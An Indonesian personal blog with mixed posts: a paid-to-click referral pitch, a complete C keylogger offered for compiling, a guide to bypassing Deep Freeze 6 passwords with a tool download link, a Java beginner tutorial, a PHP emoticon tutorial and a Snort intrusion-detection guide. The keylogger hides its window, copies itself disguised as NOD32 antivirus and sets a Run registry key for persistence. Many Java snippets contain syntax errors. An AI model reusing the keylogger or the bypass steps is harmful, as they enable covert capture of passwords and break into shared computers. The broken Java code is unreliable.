Mengenai Saya

Foto saya
nama gw tari.. it's me and this is my blog thankss...

Jumat, 24 Desember 2010

Program PTC-Neobux.com



mau cariduit di internet??? ikutin nih PTC, caranya gampang banget. tinggal klik iklan ini, tunggu 30detik, kalian bakal dapet duit dech. gampang kan?
hahahaha

kalian bisa dapet $0.001/1 iklan
kalo kalian udah punya referal, bisa dapet bonus tambahan loh...
via Paypal n Alertpay juga, jd kita engga usah punya rekening sebelumnya...

ayo buruan daftar...
lebih cepat lebih baik
hehe ^^

kalo kalian blm daftar, klik banner diatas atau klik -> NeoBux Lanjutkan=>

Jumat, 22 Oktober 2010

Local KeyLogger

Ini ada sedikit source untuk yang suka main2 dengan yang namanya keylogger. Ini script tinggal di compile aja yah, silahkan dikembangin jika ada yang ingin mengembanginnya..

Code :
===========start================
#include
#include
#define KEY "c:\windows\Nod32Bak.exe"
#define LOG "c:\log.txt"

int keylogging(void)
{
short lul;
while(1)
{
Sleep(5);
for(lul=8;lul<=222;lul++) { if(GetAsyncKeyState(lul)==-32767) { FILE *fp; fp = fopen(LOG,"a+"); if(fp == NULL) { return 1; } if(fp != NULL) { if((lul >= 39) && (lul <= 64)) { fputc(lul,fp); fclose(fp); break; } else if((lul > 64) && (lul < 91)) { lul+=32; fputc(lul,fp); fclose(fp); break; } else { switch(lul) { case VK_SPACE: fputc(' ',fp); fclose(fp); break; case VK_SHIFT: fputs("[SHIFT]",fp); printf("[SHIFT]"); fclose(fp); break; case VK_RETURN: fputs(" [ENTER]",fp); fclose(fp); break; case VK_BACK: fputs("[BACKSPACE]",fp); fclose(fp); break; case VK_TAB: fputs("[TAB]",fp); fclose(fp); break; case VK_CONTROL: fputs("[CTRL]",fp); fclose(fp); break; case VK_DELETE: fputs("[DEL]",fp); fclose(fp); break; case VK_OEM_1: fputs("[;:]",fp); fclose(fp); break; case VK_OEM_2: fputs("[/?]",fp); fclose(fp); break; case VK_OEM_3: fputs("[`~]",fp); fclose(fp); break; case VK_OEM_4: fputs("[ [{ ]",fp); fclose(fp); break; case VK_OEM_5: fputs("[\|]",fp); fclose(fp); break; case VK_OEM_6: fputs("[ ]} ]",fp); fclose(fp); break; case VK_OEM_7: fputs("['"]",fp); fclose(fp); break; case VK_NUMPAD0: fputc('0',fp); fclose(fp); break; case VK_NUMPAD1: fputc('1',fp); fclose(fp); break; case VK_NUMPAD2: fputc('2',fp); fclose(fp); break; case VK_NUMPAD3: fputc('3',fp); fclose(fp); break; case VK_NUMPAD4: fputc('4',fp); fclose(fp); break; case VK_NUMPAD5: fputc('5',fp); fclose(fp); break; case VK_NUMPAD6: fputc('6',fp); fclose(fp); break; case VK_NUMPAD7: fputc('7',fp); fclose(fp); break; case VK_NUMPAD8: fputc('8',fp); fclose(fp); break; case VK_NUMPAD9: fputc('9',fp); fclose(fp); break; case VK_CAPITAL: fputs("[CAPS LOCK]",fp); fclose(fp); break; default: fclose(fp); break; } } } } } } } int main(int argc, char **argv) { CopyFile(argv[0], KEY, 0); HWND own = FindWindow(0,argv[0]); ShowWindow(own, SW_HIDE); HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Mcft\Windows\CurrentVersion\Run",0,KEY_SET_VALUE,&hKey); RegSetValueEx(hKey,"Nod32 Anti-Virus",0,REG_SZ,(const unsigned char*)KEY,sizeof(KEY)); RegCloseKey(hKey); CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)keylogging,0,0,0); system("pause"); } =============END==============

Cara Mudah Menjebol Password Deep Freeze 6

sesuai dengan dinamika dan perkembangan jaman - banyak tips dan tools baru bermunculan ternyata termasuk juga untuk teknik untuk menjebol password Deep Freeze. Jika sebelumnya ada unfreezer untuk
Deepfreeze 5 tetapi reset password harus dilakukan secara manual untuk Deepfreeze 6, maka sekarang ini beberapa tools penjebol password bahkan sudah bisa dipake untuk mereset password Deep Freeze versi 6 dengan sedemikian mudah dan cepat.

Kalau anda admin warnet dan sebangsanya, saya sarankan anda mengikuti perkembangan ini, karena tools ini benar-benar lumayan mengerikan. Bahkan kesan saya malah lebih mak nyus dari Unfreezer untuk DF 5. Ada dua tools setidaknya setahu saya yang bisa dipakai untuk menjebol password DF 6 nyaris dengan seketika tanpa perlu susah payah. Ngeri deh

TOOLS PERTAMA bernama Anti Deepfreeze, kelihatannya karya programmer Arab.

Tampilannya seperti ini :

id="BLOGGER_PHOTO_ID_5389448487420654082" border="0">

Cara menggunakannya sangat mudah, Tinggal pilih versi Deepfreeze lalu klik tombol Apply. Kemudian klik gambar icon Deepfreeze di taskbar ( Ctrl + Shift ) sambil klik icon .

Jika ada kotak password biarkan kosong, langsung masuk saja. Anda akan dibiarkan masuk konfigurasi Deepfreeze tanpa password

TOOLS KEDUA bernama Uninstall Deepfreeze, karya programmer Vietnam. Kalo program sebelumnya pake bahasa Inggris , program yang ini berbahasa Vietnam.

Tampilannya seperti ini :

alt="" id="BLOGGER_PHOTO_ID_5389450097694633698" border="0">
Cara memakainya juga mudah meskipun berbahasa Vietnam, klik tombol Login, sampai tombol Login tidak aktif dan tombol Crack berubah menjadi aktif. Kemudian klik tombol Crack.

Langkah selanjutnya sama. Masuk ke file konfigurasi DeepFreeze dengan Ctrl+ Shift + klik icon DF atau cara lain. Bila ada kotak password abaikan, langsung masuk saja.

Semua cara ini dilakukan di Normal Windows, tetapi memang butuh restart komputer.
Sekali lagi, karena potensi dua tools ini agak tidak mengenakkan buat admin warnet cs, saya himbau rekan2 admin lebih memperhatikan masalah ini dengan menambah proteksi DF dengan tools yang lain. Meskipun
memang yang namanya program apapun tetap ada kemungkinan ditembus passwordnya.

=================================================================

Download dua tools tersebut di sini

http://www.ziddu.com/download/6798049/DeepfreezeManisx.zip.html

Gunakanlah alat bantu ini dengan bijaksana.

Bukan cuma admin, user warnet juga sebaiknya berhati-hati karena aneka script, virus, keylogger, program aneh-aneh bisa dimasukkan oleh siapa saja di warnet-warnet. Alamax daku sendiri bisa ikutan pusing

kalo main di warnet.

SALAM

=================================================================
Sumber :

http://lovepassword.blogspot.com/2009/10/cara-mudah-menjebol-password-deepfreeze.html

Java_basic_tutorial 1


java adalah sebuah pemrograman yang bersifat OOP atau kata lainnya adalah, Object Oriented Programming,dimana didalamnya kita harus mememahami apa yang disebut dengan:

encapsulation

inheritance

polymorphissm

untuk mengatahui ini silahkan cari di google yah, sebab saya akan menjelaskan garis besarnya dasar java, dan yang terpenting adalah memahami bahasa pemrograman lewad contoh script yang sudah ada.



Ok pada kali ini saya akan langsung memberikan bentuk dasar dari bahasa java..



dasar syntax dari java adalah seperti yang tertera dibawah ini:

code dasar java:

public class hello

{

public static void main(String[] args)

{



}

}



nah seperti itu lah gamabaran global dari script java.

Selanjutnya kita bisa menambahkan atau memodifikasi script itu secara sederhana:

code 1:

public class hello

{

public static void main(String[] args)

{

System.out.println(“Hallo java NetBeans”);

}

}


output:


Hallo java NetBeans


perintah “System.out.println” digunakan untuk menampilkan data



Setelaha kita bermain-main dengan script sederhana, sekarang kita akan melakukan basic dari java yang lainnya



sekarang saatnya kita mengetahui type-type variable yang terdapat di bahasa pemrograman java. Untuk pengertian dari definisi variable gue anggap loh udeh pada ngerti yah :p



dalam java ada beberapa variable:



byte

short

int

long

float

double

char

String

boolean



untuk pengertian dari masing masing variable gue anggap juga loh semuanya udeh pada tahu yah, karena di bahsa pemrograman yang lain sudah sering dibahas, masa dibahas lagi sih, nanti jadi panjang dan g singkat donk



sekarang setelah mengetahui variable variable apa saja yang terdapat dalam java, kini saatnya kita mengetahui bagaimana cara mengdeklarasikan variable tersebut dalam code

code deklarasi_variable:
public class Variables

{

public static void main(String[] args)

{

int myVariable

}



}


nah seperti itu lah kita dapat mendeklarasikan variable didalam bahasa java. Oh yah, jika ada pertanyaan seperti ini: Bagaimana jika kita ingin mendeklarasikan 2 atau lebih variable yang sama jenis datanya???, ok ini sangat mudah...mari kita langsung pergi ke TKP (code)


code deklarasi_variable_1:


public class Variablee

{

public static void main(String[] args)

{

int variablesatu, variabledua

}

}

mudahkan, kalo mau banyak yah tinggal di tambahkan saja varibalenya, xii,xii



cara lain pakai variable:



code caralain_var:



public class lain

{

public static void main(String[] args)

{

int a = 5;

String bro = “Hallo brother”;

System.out.println(a);

System.out.println(bro);

}

}



dan selanjutnya silahkan di exploitasi sendiri, karena ini hanya dasar. Untuk selnajutnya kita akan belajar mengenai IF argument atau biasa di sebut dengan IF decission atau pilahan menggunakan statement IF, dari sini kita bisa langsung paham dan mengerti, perintah ini adalah untuk melakukan operasi apabila statement tersebut terpenuhi
code if:

public class pilih

{

public static void main(String[] args)

{

int I = 5;

if (I == 5)

System.out.println(“i is aqual 5”);

}

}


mudahkan bukan, jadi disini akan mencetak tuisan I is aqual 5 jika kondisi terpenuhi, jika tidak terpenuhi maka tidak akan mencetak.


Untuk lebih lanjutnya kita akan mengetahui pengertian dari beberapa operator:



== berarti sama dengan

!= berarti tidak sama dengan

>= berarti lebih besar sama dengan

<= berarti lebih kecil sama dengan

> berarti lebih besar

< berarti lebih kecil

sedikit contoh code pengunaan if..else

code:

public class codeifels

{

public static void main(String[] args)

{

int a = 2;

if (a == 3)

System.out.println(“a is aqual 3”);

else

System.out.println(“a is not equal 3”);

}

}


nah setelah kita mengtahui bagaimana if dan if..else, maka kita sekarang akan mengtahui bagaimana fungsi dari if bersarang atau juga biasa di sebut nested if.







Code:





public class ifnest

{

public static void main(String[] args)

{

int a = 1;

if (a < 0)

System.out.println(“Negative”);

else

if (a > 0)

System.out.println(“Positive”);

else

System.out.println(“Zero alias Nol”);

}

}





ok setelah mengetahui bagaimana if bersarang, maka saatnya kita belajar switch decission, switch deccission ada laha melakaukan sebuah pilihan dengan sama dengan if decission tapi bedanya ini melakukan pilihantanpa melihad kondisi terpenuhi apa tidaknya, langsung saja kita melihat code yang tersdia.



Code:

public class pilih

{

public static void main(String[] args)

{

int b = 3;

switch(b)

{

case 1:

System.out.println(“b is 1”);

break;

case 2:

System.out.println(“b is 2”);

case 3:

System.out.println(“b is 3”);

default:

System.out.println(“Invalid value you inputed”);

}

}


oke deh, sekarang saat belajar looping, atau dikenal sebagai perulangan.

For looping( perulangan dengan for statement)

code:


public class ulang

{

public static void main(String[] args)

{

int q ;

for (q = 0;q <= 10;q++)

System.out.println(“Ulang”);

}

}

q++ adalah fungsi increement untuk penambahan bilangan yang akan di ulang jika kondisi yang dikerjakan tidak terpenuhi.

Untuk contoh perulangan dengan while loop



code:



public class ulangg

{

public static void main(string[] args)

{

int s = 1;

while ( s <= 10)

System.out.println(“ulang”);

s++;

}

}


dan untuk perulangan dengan memakai do..while


code :


public class ulanggg

{

public static void main(string[] args);

{

int d = 1;

do

{

System.out.println(“lang”);

d++;

}

while (d <= 5)

}

}

wah sekalian telah mengerti kan dasar dari pemrograman java, mudah bukan, sebab ini sama dengan bahasa pemrograman yang terdahulunya, seandainya kita mengusai yang terdahulunya seperti pascal, c, dan c++, maka pemrograman java basic sangatlah mudah di mengerti, sekarang saatnya kita melanjutkan inti dari berbagai pemrograman yang ada, yaitu array, sebelumnya mungkin kalian sudah ada yang tahu mengenai tetang array, sedikit gue akan mengulangi pengertian array yang gue pelajarin selama ini, kalo salah gue mohon maaf aja yah, namanya juga share ilmu...


array adalah sebuah larik, atau bisa juga disebut dengan matrik,


deklarasi array secara umum.


Code:


public class larik

{

public static void main(string[] args)

{
int [] a;

}

}


setalah mengetahui bentuk dasar dari array sekarang kita akan membuat array itu berisi dengan sebuah nilai.


Code :


public class larik

{

public static void main(string[] args)

{

int [] a = new [5];

}

}

dari code diatas kita tahu bahwa sekarang array telah di definisikan dan di beri nilai sebesar 5

array juga bisa di definisikan denga perintah seperti ini, tergantung si programmer yang buatnya.


code :


public class matrik

{

public static void main(string[] args)

{

int [] g = {12,23,34,45,56};

}

}


nah setelah kita tahu bagaimana array, sekarang kita akan belajar bagaimana array dapat digunakan.



Code :



public class uselarik

{

public static void main(string[] args);

{

int [] w = new int [5];

w[0] = 1;

w[1] = 2;

w[2] = 3;

w[3] = 4;

w[4] = 5;

}

}

contoh lainnya

code :

public class lain

{

public static void main(string[] args)

{

int [] h = new int[5];

for (int w = 0;w <= 5;w++)

h[w] = 0;

}

}

Bikin Emoticon di PHP

  • Pertama, bikin tabel dengan nama emoticon, field-nya cuma dua: "id" dengan "alt". Supaya praktis eksekusi aja langsung code di bawah di phpMyAdmin.







    CREATE TABLE `db_anda`.`emoticon` (



    `id` INT NOT NULL AUTO_INCREMENT ,



    `alt` VARCHAR( 100 ) NOT NULL ,



    PRIMARY KEY ( `id` )



    ) ENGINE = MYISAM








    Jangan lupa ganti `db_anda` dengan nama database yang ada di komputer anda. Kalau belum ada bisa dibikin dulu dengan kode di bawah.








    CREATE DATABASE `nama_db` ;










  • Database selesai, sekarang tinggal masukkin datanya, karna cuma untuk coba-coba, masukkin aja satu record dulu.







    INSERT INTO `db_anda`.`emoticons` (



    `id` ,



    `alt`



    )



    VALUES (



    NULL , ':lol:'



    );








    Dengan query di atas kita masukkin alt emoticon ":lol:" (lol = laughing out loud)










  • Untuk image animasi emoticon yang mewakili simbol "lol", bikin/copy image yang diinginkan ke direktori emoticon/lol.gif. Jadi di direktori yang sama dengan file utama, bikin direktori emoticon, trus copy file image dengan nama "lol.gif" . saya sendiri untuk contoh ini menggunakan animasi dari Plurk yang ini.









  • Sekarang, fungsi dalam PHP untuk fetching emoticon:







    function fetch_emo($strnya) {



    $hsl = $strnya;







    $qE = mysql_query("SELECT * FROM emoticon") or die(mysql_error());



    while ($aE = mysql_fetch_array($qE)) {



    $offst = substr($aE["alt"], 1);



    $img = "<img src="emoticon/" . substr($offst, 0, -1) . ".gif" border="0" alt="emotion" />";







    $hsl = str_replace($aE["alt"], $img, $hsl);



    }







    return $hsl;



    }










  • Terakhir, implementasi.







    <?



    mysql_connect("localhost", "user", "password") or die(mysql_error()); //ganti sesuai MySQL ente



    mysql_select_db("db_anda") or die(mysql_error());



    ?>



    <html>



    <head>



    <title>Test Emoticon</title>



    </head>



    <body>



    <?



    $str_test = "Test kacang euy :lol:";



    $sesudah = fetch_emo($str_test);



    echo "Sebelum: $str_test<br /><br />";



    echo "Sesudah: $ssd";



    ?>



    </body>



    </html>








    Hasilnya:




    Sebelum: Test kacang euy :lol:








    Sesudah: Test kacang euy 






Sekarang, saya jelasin dikit cara kerjanya.



Di langkah pertama dan kedua, kita mempersiapkan database yang mau dipake untuk nyimpan string tertentu yang mo di-replace dengan emoticon.



Karna disimpan dalam database, kita bisa dengan mudah ngapus atau nambah emoticon-emoticon baru.



Dalam fungsi fetch_emo() yang kita bikin di langkah ke-4, kita melakukan query ke database, dan nge-parse satu-satu string emoticon (dalam contoh di atas ":lol:"), trus diganti dengan image di direktori emoticon/lol.gif. Nah, mungkin pada bertanya, lol.gif dapet dari mana ?? Dalam fungsi ini, supaya kita gak perlu repot-repot mendefinisikan path image, saya  bikin path imagenya diambil dari string di antara titik dua (":") ditambah dengan ekstensi ".gif", sehingga kalo string emoticon-nya ":lol:", berarti path image-nya adalah "lol.gif".


Monitoring Serangan Hacker Ke Jaringan Dengan Snort

'SNORT' merupakan salah satu software untuk mendeteksi intrusi pada system, mampu menganalisa 'real-time traffic' dan logging ip, mampu menganalisa port dan mendeteksi segala macam 'serangan' dari luar seperti buffer overflows, stealth port scans, CGI attacks, SMB probes, OS fingerprinting. secara default nya snort mempunyai 3 hal yang terpenting yaitu :

(1) paket sniffer, seperti tcpdump, iptraf dll 
(2) paket logger, yang berguna untuk paket traffic dll
(3) NIDS, deteksi intrusi pada network.

1.1 Pengenalan
Snort bukanlah software yang sulit, tapi perlu banyak latihan karena banyaknya 'command-command' yang harus digunakan, tujuan dari pembuatan artikel ini untuk membuat user lebih mudah untuk mengenali 'snort'.
 
1.2 Instalasi
download paket yang terbaru dari snort.org, saya disini menggunakan snort 2.0.0
# wget -c http://www.snort.org/dl/snort-2.0.0.tar.gz

jangan lupa juga mendownload rules terbaru
# wget -c http://www.snort.org/dl/rules/snortrules-stable.tar.gz
extract dan install paket snort
 
# tar -zxvf snort-2.0.0.tar.gz ; cd snort-x.x.x ; ./configure ; make ; make install

untuk lebih lengkap nya silahkan baca ./configure --help  secara default snort akan terinstall di /usr/local/bin/snort

1.3 Paket Sniffer

fyuh, mari coba pelajaran dasar dulu ;) jika anda ingin menampilkan TCP/IP header ke layar ( mis. sniffer mode ), coba perintah ini:
 
# snort -v
command di atas akan menjalan snort dan hanya akan menampilkan IP dan TCP/UDP/ICMP header, tapi jika anda mau melihat transit data coba dengan command ini
# snort -vd

instruksi tersebut akan menampilkan transit data, tapi jika anda mau lebih spesifik coba dengan

 
# snort -vde   

1.3 Paket logger
ok, command-command di atas mungkin hanya sebagai pengenalan, pada instruksi diatas ada kasus dimana kita tidak mungkin melihat ke layar setiap menit nya ;) oleh karena itu dibutuhkan log, sebelum nya buat direktori 'log' di direktori kerja anda sekarang

# mkdir -p log
# snort -dve -l ./log


Jika instruksi diatas dijalankan, tetapi anda belum membuad direktory log, maka snort akan segera berhenti dengan keterangan 'ERROR: log directory './log' does not exist', jika berhasil, snort akan menyimpan setiap paket ke dalam direktori-direktory IP address, jika sistem anda memiliki beberapa network tetapi anda hanya ingin memonitor network tertentu saja.

 
# snort -dev -l ./log -h 192.168.1.0/24

Rules ini akan menyimpan setiap data link dan TCP/IP header ke dalam direktory 'log' dan menyimpan setiap paket dari 192.168.1.0 kelas C network.

 
1.4 Mendeteksi 'Pengacau' Jaringan
Sebelum ini di bahas, sebaik nya anda membaca manual dari snort.org, http://www.snort.org/docs/writing_rules/chap2.html , disini diminta untuk membuat rules sendiri atau anda bisa memakai rules yang di sedikan oleh snort.org sendiri.

 
# tar -zxvf snortrules-stable.tar.gz

tapi, saya coba membuat rules sendiri, karena saya kurang suka dengan paket dari orang lain, setelah di gunain tapi tidak tahu gunanya buat apa ;) contoh rules sederhana

 
# cd rules; touch avudz.conf
# vi avudz.conf
alert tcp any any -> ipsaya/29 21 (content: "root"; \
      msg: "FTP root login";)
alert tcp any any -> ipprivate/24 22 (msg:"sshd access";)
alert tcp any any -> ipsaya/29 21 (content: "anonymous"; \
      msg: "Ada yg Coba FTP server!";)
alert tcp any any -> ipsaya/29 22 (msg:"ada yang login";)
# http://www.linuxsecurity.com/feature_stories/feature_story-144.html

Content digunakan untuk mendefinisikan inputan dari $user, sedangkan msg untuk membuat pernyataan tentang $user yang menggunakan 'content' tersebut.
sebelum rules baru ini di jalankan, pastikan anda membuat direktory logging di /var/log/snort
 
# mkdir -p /var/log/snort

 
tetapi jika anda merasa partisi /var anda sudah minim, silahkan buat symbolic link untuk logging, misal

 
# ln -s /home/avudz/snort/log /var/log/snort


ok, selesai sudah ;) sekarang coba kita jalankan software nya.

 
# snort -d -c rules/avudz.conf
Running in IDS mode
Log directory = /var/log/snort
Initializing Network Interface eth0


setelah itu silahkan anda coba ftp / ssh ke server anda dari network yang berbeda ( diconfig saya menggunakan ip public), dan pantau traffic nya.

 
# tail -f /var/log/snort/alert


contoh :

 
[**] [1:0:0] ada yang login [**]
[Priority: 0]
06/12-05:47:23.911639 202.xxx.xxx.xx:3962 -> 202.xxx.xxx.xxx:22
TCP TTL:64 TOS:0x10 ID:57036 IpLen:20 DgmLen:52 DF
***A**** Seq: 0xAC015F2A  Ack: 0xAD5438B5  Win: 0x3EBC  TcpLen: 32
TCP Options (3) => NOP NOP TS: 16723031 55655688
[**] [1:0:0] Ada yg Coba FTP server! [**]
[Priority: 0]
06/12-05:48:24.419800 202.xxx.xxx.xx:3971 -> 202.xxx.xxx.xxx:21
TCP TTL:64 TOS:0x10 ID:57642 IpLen:20 DgmLen:68 DF
***AP*** Seq: 0xAE133FB1  Ack: 0xAFCB3637  Win: 0x3EBC  TcpLen: 32
TCP Options (3) => NOP NOP TS: 16729081 55661127


Ah.. selesai sudah, tinggal tambahin beberapa rules yang dibutuhkan untuk memantau aktivitas 'machine' anda ;) misalnya iseng mo monitor irc server, tinggal tambahin di avudz.conf

 
# vi rules/avudz.conf
alert tcp ipsaya any -> any 6666:7000 (msg:"CHAT IRC "; flow:to_server,established; content: "NICK "; offset:0; classtype:misc-activity; sid:542;  rev:8;)
alert tcp ipsaya any -> any 6666:7000 (msg:"permintaan DCC Chat "; flow:to_server,established; content:"PRIVMSG "; nocase; offset:0; content:" \:.DCC SEND"; nocase; classtype:misc-activity; sid:1639;  rev:3;)
# === done === #

Semua config dan rules nya bisa anda pelajari dari file snortrules-stable.tar.gz yang sudah di extract, seperti msyql rules, backdoor rules, ICMP rules, bad traffic rules dll. yang penting adalah mencoba, jangan pernah menyerah! MERDEKA!! =)